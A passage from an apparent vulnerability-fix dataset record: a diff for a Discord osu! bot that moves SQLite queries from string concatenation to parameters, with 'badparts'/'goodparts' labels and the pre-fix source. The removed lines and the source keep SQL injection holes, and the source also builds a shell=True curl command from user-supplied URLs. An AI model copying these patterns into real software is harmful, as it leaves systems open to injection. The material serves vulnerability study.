\t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"UPDATE users SET ppAverage = \" + str(pp_average) + \" WHERE DiscordId = \" + str(discordId))\n+\t\tcursor.execute(\"UPDATE users SET ppAverage = ? WHERE DiscordId = ?\", (str(pp_average), str(discordId),))\n \t\tconn.commit()\n \t\tprint (\"Pp stats updated for osuId : \" + str(osuId) + \" with discordId : \" + str(discordId) + \" - PP average = \" + str(pp_average))\n \t\treturn 0\n@@ -83,7 +83,7 @@ def link_user(discordId, osuName, osuId, rank):\n \tprint (\"Linking : discordId : \" + str(discordId) + \", osuName : \" + osuName + \", osuId : \" + str(osuId) + \" to Database.\", end = \" \")\n \tconn = sqlite3.connect(databasePath)\n \tcursor = conn.cursor()\n-\tcursor.execute(\"SELECT * FROM users WHERE discordId = \" + str(discordId))\n+\tcursor.execute(\"SELECT * FROM users WHERE discordId = ?\", (str(discordId),))\n \tif len(cursor.fetchall()) == 0:\n \t\tcursor.execute(\"\"\"\n \t\tINSERT INTO users (discordId, osuName, osuId, rank) \n@@ -93,7 +93,7 @@ def link_user(discordId, osuName, osuId, rank):\n \t\tprint (\"Added\")\n \t\tresult = \"linked\"\n \telse:\n-\t\tcursor.execute(\"UPDATE users SET osuName = '\" + osuName + \"', osuId = \" + str(osuId) + \", rank = '\" + rank + \"' WHERE discordId = \" + str(discordId))\n+\t\tcursor.execute(\"UPDATE users SET osuName = ?, osuId = ?, rank = ? WHERE discordId = ?\", (osuName, str(osuId), rank, str(discordId)))\n \t\tconn.commit()\n \t\tprint(\"Updated\")\n \t\tresult = \"updated\"\n@@ -194,7 +194,7 @@ def Log(user, message, logLevel):\n \tprint ('Ready !')\n \tif (set(sys.argv) & set([\"online\"])) and hello == False:\n \t\tawait client.send_message(mainChannel, \"<:online:317951041838514179> Uso!<:Bot:317951180737347587> is now online !\")\n-\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !'))\n+\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='o!help'))\n \tif set(sys.argv) & set([\"dev\"]):\n \t\tawait client.change_presence(status=discord.Status('idle'), game=discord.Game(name='Dev mode'))\n \n@@ -210,7 +210,7 @@ def Log(user, message, logLevel):\n \tif message.content.startswith(commandPrefix) and message.channel.is_private == False and message.content.startswith(commandPrefix + 'mute') == False:\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT state FROM muted WHERE serverID = \" + str(message.server.id))\n+\t\tcursor.execute(\"SELECT state FROM muted WHERE serverID = ?\", (str(message.server.id),))\n \t\tif cursor.fetchall()[0][0] == 'on':\n \t\t\tchannel = message.author\n \t\telse:\n@@ -220,10 +220,24 @@ def Log(user, message, logLevel):\n \t\tawait client.send_message(message.channel, \"Hi ! \" + str(message.author) + \" my command prefix is '\" + commandPrefix + \"'\")\n \t\t#Hey !\n \n+\tif message.content.startswith(commandPrefix + 'status') and (rank in ['ADMIN', 'MASTER']):\n+\t\tparameters = message.content.replace(commandPrefix + 'status ', \"\")\n+\t\tplaymessage = parameters.split(\" | \")[0]\n+\t\tstatus = parameters.split(\" | \")[1]\n+\t\tawait asyncio.sleep(1)\n+\t\tawait client.change_presence(game=discord.Game(name=playmessage), status=discord.Status(status))\n+\t\tawait client.send_message(channel, \"Play message set to:``\" + playmessage + \"``, status set to:``\" + status + \"``\")\n+\n+\tif message.content.startswith(commandPrefix + 'support') and (rank in ['USER', 'ADMIN', 'MASTER']):\n+\t\tsupportfile = open(constants.Paths.supportFile, \"r\")\n+\t\tsupportString = supportfile.read()\n+\t\tsupportfile.close()\n+\t\tawait client.send_message(channel, supportString)\n+\n \tif (message.content.startswith(commandPrefix + 'recomandation') or message.content.startswith(commandPrefix + 'r')) and (rank in ['USER', 'ADMIN', 'MASTER']):\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId = \" + str(message.author.id))\n+\t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId = ?\", (str(message.author.id),))\n \t\ttry:\n \t\t\tresult = cursor.fetchall()[0][0]\n \t\texcept:\n@@ -235,13 +249,13 @@ def Log(user, message, logLevel):\n \t\t\telse:\n \t\t\t\tpp_average_fluctuation = pp_average*0.05\n \n-\t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId = \" + str(message.author.id))\n+\t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId = ?\", (str(message.author.id),))\n \t\t\t\talreadyRecomendedId = cursor.fetchall()[0][0]\n \n \t\t\t\tif alreadyRecomendedId == None:\n \t\t\t\t\talreadyRecomendedId = \"00000\"\n \n-\t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >= \" + str(pp_average-pp_average_fluctuation) + \" and pp_95 <= \" + str(pp_average+pp_average_fluctuation) + \" and id not in(\" + alreadyRecomendedId + \") Limit 1\")\n+\t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >= ? and pp_95 <= ? and id not in (?) Limit 1\", (str(pp_average-pp_average_fluctuation), str(pp_average+pp_average_fluctuation), alreadyRecomendedId ))\n \n \t\t\t\trecomendedBeatmap = cursor.fetchall()[0]\n \t\t\t\turl = recomendedBeatmap[0]\n@@ -255,7 +269,7 @@ def Log(user, message, logLevel):\n \n \t\t\t\talreadyRecomendedId += \",\" + str(recomendedId)\n \n-\t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps = '\" + alreadyRecomendedId + \"' where DiscordId = '\" + str(message.author.id) + \"'\")\n+\t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps = ? where DiscordId = ?\", (alreadyRecomendedId, str(message.author.id)))\n \t\t\t\tconn.commit()\n \t\t\t\tconn.close()\n \n@@ -270,7 +284,7 @@ def Log(user, message, logLevel):\n \n \tif message.content.startswith(commandPrefix + 'add_beatmap') and (rank in ['ADMIN', 'MASTER']):\n \t\tif (message.content.replace(commandPrefix + \"add_beatmap \", \"\") == \"\" or not(message.content.replace(commandPrefix + \"add_beatmap \", \"\")[0:19] == \"https://osu.ppy.sh/\")):\n-\t\t\tawait client.send_message(message.channel, \"Invalid url !\")\n+\t\t\tawait client.send_message(channel, \"Invalid url !\")\n \t\telse:\n \t\t\tpp_100, pp_95, name, combo, stars, diff_params = return_beatmap_infos(message.content.replace(commandPrefix + \"add_beatmap \", \"\"))\n \t\t\tconn = sqlite3.connect(databasePath)\n@@ -307,7 +321,7 @@ def Log(user, message, logLevel):\n \t\t\tfor beatmapUrl in beatmapToProcess:\n \n \t\t\t\tprint (\"Processing \" + beatmapUrl + \" - \" + str(processed) + \"/\" + str(len(beatmapToProcess)), end=\"\")\n-\t\t\t\tcursor.execute(\"select url from beatmaps where url = '\" + beatmapUrl + \"'\")\n+\t\t\t\tcursor.execute(\"select url from beatmaps where url = ?\", (beatmapUrl,))\n \t\t\t\tif len(cursor.fetchall()) == 0:\n \t\t\t\t\tpp_100, pp_95, name, combo, stars, diff_params = return_beatmap_infos(beatmapUrl, \"\")\n \t\t\t\t\tif not (pp_100 == -1):\n@@ -351,11 +365,11 @@ def Log(user, message, logLevel):\n \t\t\t\tparameter = ''\n \t\t\tif parameter.lower() in ['on', 'off']:\n \t\t\t\tparameter = parameter.lower()\n-\t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID = \" + str(message.server.id))\n+\t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID = ?\", (str(message.server.id),))\n \t\t\t\tif len(cursor.fetchall()) == 0:\n \t\t\t\t\tcursor.execute(\"INSERT INTO muted (serverID, state) VALUES (?, ?)\", (message.server.id, parameter))\n \t\t\t\telse:\n-\t\t\t\t\tcursor.execute(\"UPDATE muted SET state = '\" + parameter + \"' WHERE serverID = \" + str(message.server.id))\n+\t\t\t\t\tcursor.execute(\"UPDATE muted SET state = ? WHERE serverID = ?\", (parameter, str(message.server.id)))\n \t\t\t\tawait client.send_message(message.channel, \"Done !\")\n \t\t\t\tconn.commit()\n \t\t\telse:\n@@ -455,7 +469,7 @@ def Log(user, message, logLevel):\n \tif message.content.startswith(commandPrefix + 'update_pp_stats') and (rank in ['USER', 'ADMIN', 'MASTER']):\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId = \" + str(message.author.id))\n+\t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId = ?\", (str(message.author.id),))\n \t\tosuId = cursor.fetchall()[0][0]\n \t\tconn.close()\n \t\tif not (osuId == None):\ndiff --git a/Uso!bot/constants.py b/Uso!bot/constants.py\nindex dff0eb2..457bfcf 100644\n--- a/Uso!bot/constants.py\n+++ b/Uso!bot/constants.py\n@@ -2,7 +2,7 @@\n \"\"\"\n This is a setting file created by Renondedju\n \n-Evry Api parameters written in this file are private and secret ! \n+Evry parameters written in this file are private and secret !\n \"\"\"\n \n class Api:\n@@ -10,7 +10,7 @@ class Api:\n \tdiscordToken = \"\" #Discord bot token (https://discordapp.com/developers/applications/me)\n \n class Paths:\n-\tworkingDirrectory = \"\" #The full path to OsuBot.py\n+\tworkingDirrectory = \"/home/pi/DiscordBots/OsuBot/\" #The full path to OsuBot.py\n \tbeatmapDatabase = workingDirrectory + \"Database.db\" #Beatmaps database full path\n \tbeatmapsDownloadsTemp = workingDirrectory + \"beatmaps/temp\" #Full path to the temporary downloads (unused)\n \tbeatmapsDownloadsPermanent = workingDirrectory + \"beatmaps/permanent\" #Full path to the permanants downloads (unused)\n@@ -19,6 +19,7 @@ class Paths:\n \thelpMasterFile = workingDirrectory + \"helpFiles/helpMASTER.txt\"\n \thelpAdminFile = workingDirrectory + \"helpFiles/helpADMIN.txt\"\n \thelpUserFile = workingDirrectory + \"helpFiles/helpUSER.txt\"\n+\tsupportFile = workingDirrectory + \"helpFiles/support.txt\"\n \n class Settings:\n \tcommandPrefix = \"o!\" #Commant prefix required to trigger the bot\ndiff --git a/Uso!bot/helpFiles/support.txt b/Uso!bot/helpFiles/support.txt\nnew file mode 100644\nindex 0000000..f07ee44\n--- /dev/null\n+++ b/Uso!bot/helpFiles/support.txt\n@@ -0,0 +1,7 @@\n+Hey ! Wanna help us ?\n+\n+\u2022You can come to the dev server here to report bugs or simply give your ideas : https://discordapp.com/invite/mEeMPyK\n+\n+\u2022Help us adding some more beatmaps with osu!scan (channel #osu_scan on the server) : https://github.com/Renondedju/Osu-scan\n+\n+\u2022Improve the algorythm of the bot ? : https://github.com/Renondedju/Uso-Bot\n\\ No newline at end of file\n", "files": {"/Uso!bot/OsuBot.py": {"changes": [{"diff": "\n \tif not discordId == constants.Settings.ownerDiscordId:\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT rank FROM users WHERE discordId = \" + str(discordId))\n+\t\tcursor.execute(\"SELECT rank FROM users WHERE discordId = ?\", (str(discordId),))\n \t\ttry:\n \t\t\trank = cursor.fetchall()[0][0]\n \t\texcept IndexError:\n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\tcursor.execute(\"SELECT rank FROM users WHERE discordId = \" + str(discordId))"], "goodparts": ["\t\tcursor.execute(\"SELECT rank FROM users WHERE discordId = ?\", (str(discordId),))"]}, {"diff": "\n \t\t\treturn 1\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"UPDATE users SET ppAverage = \" + str(pp_average) + \" WHERE DiscordId = \" + str(discordId))\n+\t\tcursor.execute(\"UPDATE users SET ppAverage = ? WHERE DiscordId = ?\", (str(pp_average), str(discordId),))\n \t\tconn.commit()\n \t\tprint (\"Pp stats updated for osuId : \" + str(osuId) + \" with discordId : \" + str(discordId) + \" - PP average = \" + str(pp_average))\n \t\treturn 0\n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\tcursor.execute(\"UPDATE users SET ppAverage = \" + str(pp_average) + \" WHERE DiscordId = \" + str(discordId))"], "goodparts": ["\t\tcursor.execute(\"UPDATE users SET ppAverage = ? WHERE DiscordId = ?\", (str(pp_average), str(discordId),))"]}, {"diff": "\n \tprint (\"Linking : discordId : \" + str(discordId) + \", osuName : \" + osuName + \", osuId : \" + str(osuId) + \" to Database.\", end = \" \")\n \tconn = sqlite3.connect(databasePath)\n \tcursor = conn.cursor()\n-\tcursor.execute(\"SELECT * FROM users WHERE discordId = \" + str(discordId))\n+\tcursor.execute(\"SELECT * FROM users WHERE discordId = ?\", (str(discordId),))\n \tif len(cursor.fetchall()) == 0:\n \t\tcursor.execute(\"\"\"\n \t\tINSERT INTO users (discordId, osuName, osuId, rank) \n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\tcursor.execute(\"SELECT * FROM users WHERE discordId = \" + str(discordId))"], "goodparts": ["\tcursor.execute(\"SELECT * FROM users WHERE discordId = ?\", (str(discordId),))"]}, {"diff": "\n \t\tprint (\"Added\")\n \t\tresult = \"linked\"\n \telse:\n-\t\tcursor.execute(\"UPDATE users SET osuName = '\" + osuName + \"', osuId = \" + str(osuId) + \", rank = '\" + rank + \"' WHERE discordId = \" + str(discordId))\n+\t\tcursor.execute(\"UPDATE users SET osuName = ?, osuId = ?, rank = ? WHERE discordId = ?\", (osuName, str(osuId), rank, str(discordId)))\n \t\tconn.commit()\n \t\tprint(\"Updated\")\n \t\tresult = \"updated\"\n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\tcursor.execute(\"UPDATE users SET osuName = '\" + osuName + \"', osuId = \" + str(osuId) + \", rank = '\" + rank + \"' WHERE discordId = \" + str(discordId))"], "goodparts": ["\t\tcursor.execute(\"UPDATE users SET osuName = ?, osuId = ?, rank = ? WHERE discordId = ?\", (osuName, str(osuId), rank, str(discordId)))"]}, {"diff": "\n \tprint ('Ready !')\n \tif (set(sys.argv) & set([\"online\"])) and hello == False:\n \t\tawait client.send_message(mainChannel, \"<:online:317951041838514179> Uso!<:Bot:317951180737347587> is now online !\")\n-\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !'))\n+\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='o!help'))\n \tif set(sys.argv) & set([\"dev\"]):\n \t\tawait client.change_presence(status=discord.Status('idle'), game=discord.Game(name='Dev mode'))\n \n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='Osu !'))"], "goodparts": ["\t\tawait client.change_presence(status=discord.Status('online'), game=discord.Game(name='o!help'))"]}, {"diff": "\n \tif message.content.startswith(commandPrefix) and message.channel.is_private == False and message.content.startswith(commandPrefix + 'mute') == False:\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT state FROM muted WHERE serverID = \" + str(message.server.id))\n+\t\tcursor.execute(\"SELECT state FROM muted WHERE serverID = ?\", (str(message.server.id),))\n \t\tif cursor.fetchall()[0][0] == 'on':\n \t\t\tchannel = message.author\n \t\telse:\n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\tcursor.execute(\"SELECT state FROM muted WHERE serverID = \" + str(message.server.id))"], "goodparts": ["\t\tcursor.execute(\"SELECT state FROM muted WHERE serverID = ?\", (str(message.server.id),))"]}, {"diff": "\n \t\tawait client.send_message(message.channel, \"Hi ! \" + str(message.author) + \" my command prefix is '\" + commandPrefix + \"'\")\n \t\t#Hey !\n \n+\tif message.content.startswith(commandPrefix + 'status') and (rank in ['ADMIN', 'MASTER']):\n+\t\tparameters = message.content.replace(commandPrefix + 'status ', \"\")\n+\t\tplaymessage = parameters.split(\" | \")[0]\n+\t\tstatus = parameters.split(\" | \")[1]\n+\t\tawait asyncio.sleep(1)\n+\t\tawait client.change_presence(game=discord.Game(name=playmessage), status=discord.Status(status))\n+\t\tawait client.send_message(channel, \"Play message set to:``\" + playmessage + \"``, status set to:``\" + status + \"``\")\n+\n+\tif message.content.startswith(commandPrefix + 'support') and (rank in ['USER', 'ADMIN', 'MASTER']):\n+\t\tsupportfile = open(constants.Paths.supportFile, \"r\")\n+\t\tsupportString = supportfile.read()\n+\t\tsupportfile.close()\n+\t\tawait client.send_message(channel, supportString)\n+\n \tif (message.content.startswith(commandPrefix + 'recomandation') or message.content.startswith(commandPrefix + 'r')) and (rank in ['USER', 'ADMIN', 'MASTER']):\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId = \" + str(message.author.id))\n+\t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId = ?\", (str(message.author.id),))\n \t\ttry:\n \t\t\tresult = cursor.fetchall()[0][0]\n \t\texcept:\n", "add": 15, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId = \" + str(message.author.id))"], "goodparts": ["\tif message.content.startswith(commandPrefix + 'status') and (rank in ['ADMIN', 'MASTER']):", "\t\tparameters = message.content.replace(commandPrefix + 'status ', \"\")", "\t\tplaymessage = parameters.split(\" | \")[0]", "\t\tstatus = parameters.split(\" | \")[1]", "\t\tawait asyncio.sleep(1)", "\t\tawait client.change_presence(game=discord.Game(name=playmessage), status=discord.Status(status))", "\t\tawait client.send_message(channel, \"Play message set to:``\" + playmessage + \"``, status set to:``\" + status + \"``\")", "\tif message.content.startswith(commandPrefix + 'support') and (rank in ['USER', 'ADMIN', 'MASTER']):", "\t\tsupportfile = open(constants.Paths.supportFile, \"r\")", "\t\tsupportString = supportfile.read()", "\t\tsupportfile.close()", "\t\tawait client.send_message(channel, supportString)", "\t\tcursor.execute(\"SELECT ppAverage FROM users WHERE DiscordId = ?\", (str(message.author.id),))"]}, {"diff": "\n \t\t\telse:\n \t\t\t\tpp_average_fluctuation = pp_average*0.05\n \n-\t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId = \" + str(message.author.id))\n+\t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId = ?\", (str(message.author.id),))\n \t\t\t\talreadyRecomendedId = cursor.fetchall()[0][0]\n \n \t\t\t\tif alreadyRecomendedId == None:\n \t\t\t\t\talreadyRecomendedId = \"00000\"\n \n-\t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >= \" + str(pp_average-pp_average_fluctuation) + \" and pp_95 <= \" + str(pp_average+pp_average_fluctuation) + \" and id not in(\" + alreadyRecomendedId + \") Limit 1\")\n+\t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >= ? and pp_95 <= ? and id not in (?) Limit 1\", (str(pp_average-pp_average_fluctuation), str(pp_average+pp_average_fluctuation), alreadyRecomendedId ))\n \n \t\t\t\trecomendedBeatmap = cursor.fetchall()[0]\n \t\t\t\turl = recomendedBeatmap[0]\n", "add": 2, "remove": 2, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId = \" + str(message.author.id))", "\t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >= \" + str(pp_average-pp_average_fluctuation) + \" and pp_95 <= \" + str(pp_average+pp_average_fluctuation) + \" and id not in(\" + alreadyRecomendedId + \") Limit 1\")"], "goodparts": ["\t\t\t\tcursor.execute(\"Select recomendedBeatmaps From users where DiscordId = ?\", (str(message.author.id),))", "\t\t\t\tcursor.execute(\"Select * from beatmaps where pp_95 >= ? and pp_95 <= ? and id not in (?) Limit 1\", (str(pp_average-pp_average_fluctuation), str(pp_average+pp_average_fluctuation), alreadyRecomendedId ))"]}, {"diff": "\n \n \t\t\t\talreadyRecomendedId += \",\" + str(recomendedId)\n \n-\t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps = '\" + alreadyRecomendedId + \"' where DiscordId = '\" + str(message.author.id) + \"'\")\n+\t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps = ? where DiscordId = ?\", (alreadyRecomendedId, str(message.author.id)))\n \t\t\t\tconn.commit()\n \t\t\t\tconn.close()\n \n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps = '\" + alreadyRecomendedId + \"' where DiscordId = '\" + str(message.author.id) + \"'\")"], "goodparts": ["\t\t\t\tcursor.execute(\"UPDATE users SET recomendedBeatmaps = ? where DiscordId = ?\", (alreadyRecomendedId, str(message.author.id)))"]}, {"diff": "\n \n \tif message.content.startswith(commandPrefix + 'add_beatmap') and (rank in ['ADMIN', 'MASTER']):\n \t\tif (message.content.replace(commandPrefix + \"add_beatmap \", \"\") == \"\" or not(message.content.replace(commandPrefix + \"add_beatmap \", \"\")[0:19] == \"https://osu.ppy.sh/\")):\n-\t\t\tawait client.send_message(message.channel, \"Invalid url !\")\n+\t\t\tawait client.send_message(channel, \"Invalid url !\")\n \t\telse:\n \t\t\tpp_100, pp_95, name, combo, stars, diff_params = return_beatmap_infos(message.content.replace(commandPrefix + \"add_beatmap \", \"\"))\n \t\t\tconn = sqlite3.connect(databasePath)\n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\t\tawait client.send_message(message.channel, \"Invalid url !\")"], "goodparts": ["\t\t\tawait client.send_message(channel, \"Invalid url !\")"]}, {"diff": "\n \t\t\tfor beatmapUrl in beatmapToProcess:\n \n \t\t\t\tprint (\"Processing \" + beatmapUrl + \" - \" + str(processed) + \"/\" + str(len(beatmapToProcess)), end=\"\")\n-\t\t\t\tcursor.execute(\"select url from beatmaps where url = '\" + beatmapUrl + \"'\")\n+\t\t\t\tcursor.execute(\"select url from beatmaps where url = ?\", (beatmapUrl,))\n \t\t\t\tif len(cursor.fetchall()) == 0:\n \t\t\t\t\tpp_100, pp_95, name, combo, stars, diff_params = return_beatmap_infos(beatmapUrl, \"\")\n \t\t\t\t\tif not (pp_100 == -1):\n", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\t\t\tcursor.execute(\"select url from beatmaps where url = '\" + beatmapUrl + \"'\")"], "goodparts": ["\t\t\t\tcursor.execute(\"select url from beatmaps where url = ?\", (beatmapUrl,))"]}, {"diff": "\n \t\t\t\tparameter = ''\n \t\t\tif parameter.lower() in ['on', 'off']:\n \t\t\t\tparameter = parameter.lower()\n-\t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID = \" + str(message.server.id))\n+\t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID = ?\", (str(message.server.id),))\n \t\t\t\tif len(cursor.fetchall()) == 0:\n \t\t\t\t\tcursor.execute(\"INSERT INTO muted (serverID, state) VALUES (?, ?)\", (message.server.id, parameter))\n \t\t\t\telse:\n-\t\t\t\t\tcursor.execute(\"UPDATE muted SET state = '\" + parameter + \"' WHERE serverID = \" + str(message.server.id))\n+\t\t\t\t\tcursor.execute(\"UPDATE muted SET state = ? WHERE serverID = ?\", (parameter, str(message.server.id)))\n \t\t\t\tawait client.send_message(message.channel, \"Done !\")\n \t\t\t\tconn.commit()\n \t\t\telse:\n", "add": 2, "remove": 2, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID = \" + str(message.server.id))", "\t\t\t\t\tcursor.execute(\"UPDATE muted SET state = '\" + parameter + \"' WHERE serverID = \" + str(message.server.id))"], "goodparts": ["\t\t\t\tcursor.execute(\"SELECT * FROM muted WHERE serverID = ?\", (str(message.server.id),))", "\t\t\t\t\tcursor.execute(\"UPDATE muted SET state = ? WHERE serverID = ?\", (parameter, str(message.server.id)))"]}, {"diff": "\n \tif message.content.startswith(commandPrefix + 'update_pp_stats') and (rank in ['USER', 'ADMIN', 'MASTER']):\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId = \" + str(message.author.id))\n+\t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId = ?\", (str(message.author.id),))\n \t\tosuId = cursor.fetchall()[0][0]\n \t\tconn.close()\n \t\tif not (osuId == None):", "add": 1, "remove": 1, "filename": "/Uso!bot/OsuBot.py", "badparts": ["\t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId = \" + str(message.author.id))"], "goodparts": ["\t\tcursor.execute(\"SELECT OsuId FROM users WHERE DiscordId = ?\", (str(message.author.id),))"]}], "source": "\n \"\"\" Created on Sat May 20 22:39:26 2017 @author: Renondedju \"\"\" import discord import asyncio import sys import subprocess import sqlite3 import re from datetime import datetime from osuapi import OsuApi, ReqConnector import requests import constants client=discord.Client() commandPrefix=constants.Settings.commandPrefix api=OsuApi(constants.Api.osuApiKey, connector=ReqConnector()) mainChannel=None logsChannel=None databasePath=constants.Paths.beatmapDatabase def return_user_rank(discordId): \tif not discordId==constants.Settings.ownerDiscordId: \t\tconn=sqlite3.connect(databasePath) \t\tcursor=conn.cursor() \t\tcursor.execute(\"SELECT rank FROM users WHERE discordId=\" +str(discordId)) \t\ttry: \t\t\trank=cursor.fetchall()[0][0] \t\texcept IndexError: \t\t\trank='USER' \t\tprint(rank) \t\tconn.close() \t\tif rank==\"\": \t\t\trank=\"USER\" \t\treturn rank \treturn 'MASTER' def refresh_all_pp_stats(): \tconn=sqlite3.connect(databasePath) \tcursor=conn.cursor() \tcursor.execute(\"SELECT DiscordId, OsuId FROM users\") \tusersToRefresh=cursor.fetchall() \tfor user in usersToRefresh: \t\tupdate_pp_stats(user[1], user[0]) def update_pp_stats(osuId, discordId): \ttry: \t\tpp_average=get_pp_stats(osuId) \t\tif pp_average==False: \t\t\treturn 1 \t\tconn=sqlite3.connect(databasePath) \t\tcursor=conn.cursor() \t\tcursor.execute(\"UPDATE users SET ppAverage=\" +str(pp_average) +\" WHERE DiscordId=\" +str(discordId)) \t\tconn.commit() \t\tprint(\"Pp stats updated for osuId: \" +str(osuId) +\" with discordId: \" +str(discordId) +\" -PP average=\" +str(pp_average)) \t\treturn 0 \texcept: \t\treturn 2 def get_pp_stats(osuId): \tglobal api \ttry: \t\tresults=api.get_user_best(osuId, limit=20) \t\tpp_average=0 \t\tfor beatmap in results: \t\t\tfor item in beatmap: \t\t\t\tif item[0]=='pp': \t\t\t\t\tpp_average +=item[1] \t\tpp_average=pp_average/20 \t\treturn pp_average \texcept: \t\treturn False def link_user(discordId, osuName, osuId, rank): \tresult=\"\" \tprint(\"Linking: discordId: \" +str(discordId) +\", osuName: \" +osuName +\", osuId: \" +str(osuId) +\" to Database.\", end=\" \") \tconn=sqlite3.connect(databasePath) \tcursor=conn.cursor() \tcursor.execute(\"SELECT * FROM users WHERE discordId=\" +str(discordId)) \tif len(cursor.fetchall())==0: \t\tcursor.execute(\"\"\" \t\tINSERT INTO users(discordId, osuName, osuId, rank) \t\tVALUES(?, ?, ?, ?) \t\t\"\"\",(discordId, osuName, osuId, rank)) \t\tconn.commit() \t\tprint(\"Added\") \t\tresult=\"linked\" \telse: \t\tcursor.execute(\"UPDATE users SET osuName='\" +osuName +\"', osuId=\" +str(osuId) +\", rank='\" +rank +\"' WHERE discordId=\" +str(discordId)) \t\tconn.commit() \t\tprint(\"Updated\") \t\tresult=\"updated\" \tconn.close() \treturn result def add_beatmap_to_queue(url): \tif not(url in new_beatmap_list): \t\tnew_beatmaps_file=open(\"/home/pi/DiscordBots/OsuBot/beatmapsFiles/newBeatmaps.txt\", \"a\") \t\tnew_beatmaps_file.write('\\n' +url) \t\tnew_beatmaps_file.close() \t\tprint(\"Added \" +url +\" to beatmap queue\") def return_simple_beatmap_info(url, oppaiParameters): \turl=url.replace('/b/', '/osu/').split(\"&\", 1)[0] \tif oppaiParameters==\"\": \t\tcommand=\"curl \" +url +\" | /home/pi/DiscordBots/Oppai/oppai/oppai -\" \telse: \t\tcommand=\"curl \" +url +\" | /home/pi/DiscordBots/Oppai/oppai/oppai -\" +oppaiParameters \treturn get_infos(subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True).stdout.read()) def return_beatmap_infos(url, oppaiParameters): \t \turl=url.replace('/b/', '/osu/').split(\"&\", 1)[0] \tif oppaiParameters==\"\": \t\tcommand=\"curl \" +url +\" | /home/pi/DiscordBots/Oppai/oppai/oppai -\" \telse: \t\tcommand=\"curl \" +url +\" | /home/pi/DiscordBots/Oppai/oppai/oppai -\" +oppaiParameters \t \tp=subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) \traw_data=p.stdout.read() \tpp_100, name, combo, stars, diff_params=get_infos(raw_data) \tif pp_100==-1: \t\tpp_100=pp_95=name=combo=stars=diff_params=-1 \t\treturn pp_100, pp_95, name, combo, stars, diff_params \telse: \t\tp=subprocess.Popen(command +\" 95%\", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) \t\traw_data=p.stdout.read() \t\tpp_95, _, _, _, _=get_infos(raw_data) \t\treturn pp_100, pp_95, name, combo, stars, diff_params def get_infos(row_datas): \ttry: \t\tsplit_data=row_datas.split(b'\\n') \t\tpp=split_data[35].replace(b'pp', b'').decode(\"utf-8\") \t\tname=split_data[14].replace(b' -', b'').decode(\"utf-8\") \t\tcombo=split_data[16].split(b'/')[0].decode(\"utf-8\") \t\tstars=split_data[22].replace(b' stars', b'').decode(\"utf-8\") \t\tdiff_params=split_data[15].decode(\"utf-8\") \t\treturn pp, name, combo, 